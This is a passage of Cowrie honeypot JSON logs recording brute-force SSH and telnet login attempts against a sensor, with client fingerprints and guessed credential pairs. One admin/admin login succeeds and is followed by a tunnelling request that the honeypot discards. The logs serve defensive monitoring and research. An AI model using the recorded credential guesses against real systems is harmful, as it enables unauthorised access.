88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:22.861413Z","src_ip":"159.203.92.129","session":"2b9200948d68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amber1","password":"amber1","message":"login attempt [amber1/amber1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:22.879400Z","src_ip":"159.203.92.129","session":"2b9200948d68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:23.888301Z","src_ip":"159.203.92.129","session":"2b9200948d68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.30106234550476,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:30.412670Z","src_ip":"162.253.42.116","session":"1ed7242572c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.32420825958252,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:32.814924Z","src_ip":"162.253.42.116","session":"7ecb607f4541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39860,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6fb5c1c8d27","protocol":"telnet","message":"New connection: 162.253.42.116:39860 (10.17.0.5:23) [session: f6fb5c1c8d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:35.150218Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":41652,"dst_ip":"10.17.0.5","dst_port":23,"session":"faeba06000f3","protocol":"telnet","message":"New connection: 162.253.42.116:41652 (10.17.0.5:23) [session: faeba06000f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:36.792052Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47450,"dst_ip":"10.17.0.5","dst_port":23,"session":"84b5099f5e3b","protocol":"telnet","message":"New connection: 162.253.42.116:47450 (10.17.0.5:23) [session: 84b5099f5e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:43.432034Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":32982,"dst_ip":"159.203.135.109","dst_port":23,"session":"3828bf36af42","protocol":"telnet","message":"New connection: 208.82.116.131:32982 (159.203.135.109:23) [session: 3828bf36af42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:46.324256Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":33006,"dst_ip":"159.203.135.109","dst_port":23,"session":"89de53e86295","protocol":"telnet","message":"New connection: 208.82.116.131:33006 (159.203.135.109:23) [session: 89de53e86295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:46.387879Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":33038,"dst_ip":"159.203.135.109","dst_port":23,"session":"f994c6062566","protocol":"telnet","message":"New connection: 208.82.116.131:33038 (159.203.135.109:23) [session: f994c6062566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:46.414550Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":33080,"dst_ip":"159.203.135.109","dst_port":23,"session":"12c9d829c41b","protocol":"telnet","message":"New connection: 208.82.116.131:33080 (159.203.135.109:23) [session: 12c9d829c41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:46.543122Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53878,"dst_ip":"10.17.0.5","dst_port":23,"session":"680b5bcd42d3","protocol":"telnet","message":"New connection: 162.253.42.116:53878 (10.17.0.5:23) [session: 680b5bcd42d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:48.652420Z"}
{"eventid":"cowrie.session.closed","duration":37.121678590774536,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:54.824794Z","src_ip":"162.253.42.116","session":"7ade63088fa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":37470,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1fecf24c701","protocol":"telnet","message":"New connection: 208.82.116.131:37470 (159.203.135.109:23) [session: c1fecf24c701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:57.493305Z"}
{"eventid":"cowrie.session.closed","duration":61.93168592453003,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:59.674872Z","src_ip":"104.248.46.74","session":"3e3ed1e6c411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84748840332031,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:50:59.982851Z","src_ip":"162.253.42.116","session":"05af5071b796","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34792,"dst_ip":"10.17.0.5","dst_port":23,"session":"969ff210664a","protocol":"telnet","message":"New connection: 162.253.42.116:34792 (10.17.0.5:23) [session: 969ff210664a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:00.038427Z"}
{"eventid":"cowrie.session.closed","duration":47.956886768341064,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:02.660858Z","src_ip":"208.82.116.131","session":"4c4469fa52c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.37209486961365,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:04.409405Z","src_ip":"208.82.116.131","session":"71ca73247ee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51998,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dce832b6377","protocol":"ssh","message":"New connection: 159.203.92.129:51998 (159.203.135.109:22) [session: 7dce832b6377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:05.626244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:05.631226Z","src_ip":"159.203.92.129","session":"7dce832b6377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:05.637943Z","src_ip":"159.203.92.129","session":"7dce832b6377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amber1","password":"amber1123","message":"login attempt [amber1/amber1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:05.652827Z","src_ip":"159.203.92.129","session":"7dce832b6377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:06.659085Z","src_ip":"159.203.92.129","session":"7dce832b6377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":34978,"dst_ip":"159.203.135.109","dst_port":23,"session":"2897d70f381a","protocol":"telnet","message":"New connection: 104.248.46.74:34978 (159.203.135.109:23) [session: 2897d70f381a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:08.655070Z"}
{"eventid":"cowrie.session.closed","duration":34.566773653030396,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:09.716884Z","src_ip":"162.253.42.116","session":"f6fb5c1c8d27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.93094301223755,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:12.722854Z","src_ip":"162.253.42.116","session":"faeba06000f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.88598942756653,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:19.317901Z","src_ip":"162.253.42.116","session":"84b5099f5e3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60838,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cd809031782","protocol":"telnet","message":"New connection: 162.253.42.116:60838 (10.17.0.5:23) [session: 9cd809031782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:20.449164Z"}
{"eventid":"cowrie.session.closed","duration":34.588473320007324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:23.240795Z","src_ip":"162.253.42.116","session":"680b5bcd42d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42452,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6412bd23d46","protocol":"telnet","message":"New connection: 162.253.42.116:42452 (10.17.0.5:23) [session: b6412bd23d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:28.997921Z"}
{"eventid":"cowrie.session.closed","duration":42.69077277183533,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:29.233785Z","src_ip":"208.82.116.131","session":"12c9d829c41b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00200271606445,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:30.187907Z","src_ip":"104.248.46.74","session":"1eb66c9956d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.48593831062317,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:30.900377Z","src_ip":"208.82.116.131","session":"f994c6062566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.87212800979614,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:31.196255Z","src_ip":"208.82.116.131","session":"3828bf36af42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70312786102295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:31.741402Z","src_ip":"162.253.42.116","session":"969ff210664a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":50418,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee1baa246a9f","protocol":"telnet","message":"New connection: 208.82.116.131:50418 (159.203.135.109:23) [session: ee1baa246a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:32.652525Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":50446,"dst_ip":"159.203.135.109","dst_port":23,"session":"49c2c51298dd","protocol":"telnet","message":"New connection: 208.82.116.131:50446 (159.203.135.109:23) [session: 49c2c51298dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:32.700257Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55390,"dst_ip":"10.17.0.5","dst_port":22,"session":"60e9bc735c42","protocol":"ssh","message":"New connection: 87.251.64.176:55390 (10.17.0.5:22) [session: 60e9bc735c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:35.193857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:35.198565Z","src_ip":"87.251.64.176","session":"60e9bc735c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.19682455062866,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:35.584585Z","src_ip":"208.82.116.131","session":"89de53e86295","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:35.690875Z","src_ip":"87.251.64.176","session":"60e9bc735c42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:36.791100Z","src_ip":"87.251.64.176","session":"60e9bc735c42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:36.993962Z","session":"60e9bc735c42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:37.201707Z","src_ip":"87.251.64.176","session":"60e9bc735c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:37.908334Z","src_ip":"87.251.64.176","session":"60e9bc735c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.827767372131348,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:38.480214Z","src_ip":"208.82.116.131","session":"ee1baa246a9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.833536148071289,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:38.533640Z","src_ip":"208.82.116.131","session":"49c2c51298dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47533965110779,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:41.130269Z","src_ip":"104.248.46.74","session":"2897d70f381a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.53148317337036,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:43.024666Z","src_ip":"208.82.116.131","session":"c1fecf24c701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47316,"dst_ip":"159.203.135.109","dst_port":22,"session":"d27382ea9572","protocol":"ssh","message":"New connection: 159.203.92.129:47316 (159.203.135.109:22) [session: d27382ea9572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:48.798622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:48.802426Z","src_ip":"159.203.92.129","session":"d27382ea9572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:48.806308Z","src_ip":"159.203.92.129","session":"d27382ea9572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amber","password":"123456","message":"login attempt [amber/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:48.815396Z","src_ip":"159.203.92.129","session":"d27382ea9572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:49.821636Z","src_ip":"159.203.92.129","session":"d27382ea9572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":57692,"dst_ip":"159.203.135.109","dst_port":23,"session":"719c7c7958cd","protocol":"telnet","message":"New connection: 208.82.116.131:57692 (159.203.135.109:23) [session: 719c7c7958cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:53.203188Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":44150,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c84efbe64ab","protocol":"telnet","message":"New connection: 104.248.46.74:44150 (159.203.135.109:23) [session: 4c84efbe64ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:53.270570Z"}
{"eventid":"cowrie.session.closed","duration":34.485122203826904,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:54.934148Z","src_ip":"162.253.42.116","session":"9cd809031782","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51230,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4711f226fa1","protocol":"telnet","message":"New connection: 162.253.42.116:51230 (10.17.0.5:23) [session: f4711f226fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:51:57.897968Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.148.20","src_port":56322,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc9dd272b244","protocol":"telnet","message":"New connection: 172.105.148.20:56322 (159.203.135.109:23) [session: bc9dd272b244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:01.225484Z"}
{"eventid":"cowrie.session.closed","duration":36.10284638404846,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:05.100650Z","src_ip":"162.253.42.116","session":"b6412bd23d46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56836,"dst_ip":"10.17.0.5","dst_port":23,"session":"21c5e02ddce7","protocol":"telnet","message":"New connection: 162.253.42.116:56836 (10.17.0.5:23) [session: 21c5e02ddce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:25.395885Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":41660,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb854acb2892","protocol":"telnet","message":"New connection: 208.82.116.131:41660 (159.203.135.109:23) [session: cb854acb2892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:52:25.517968Z"}
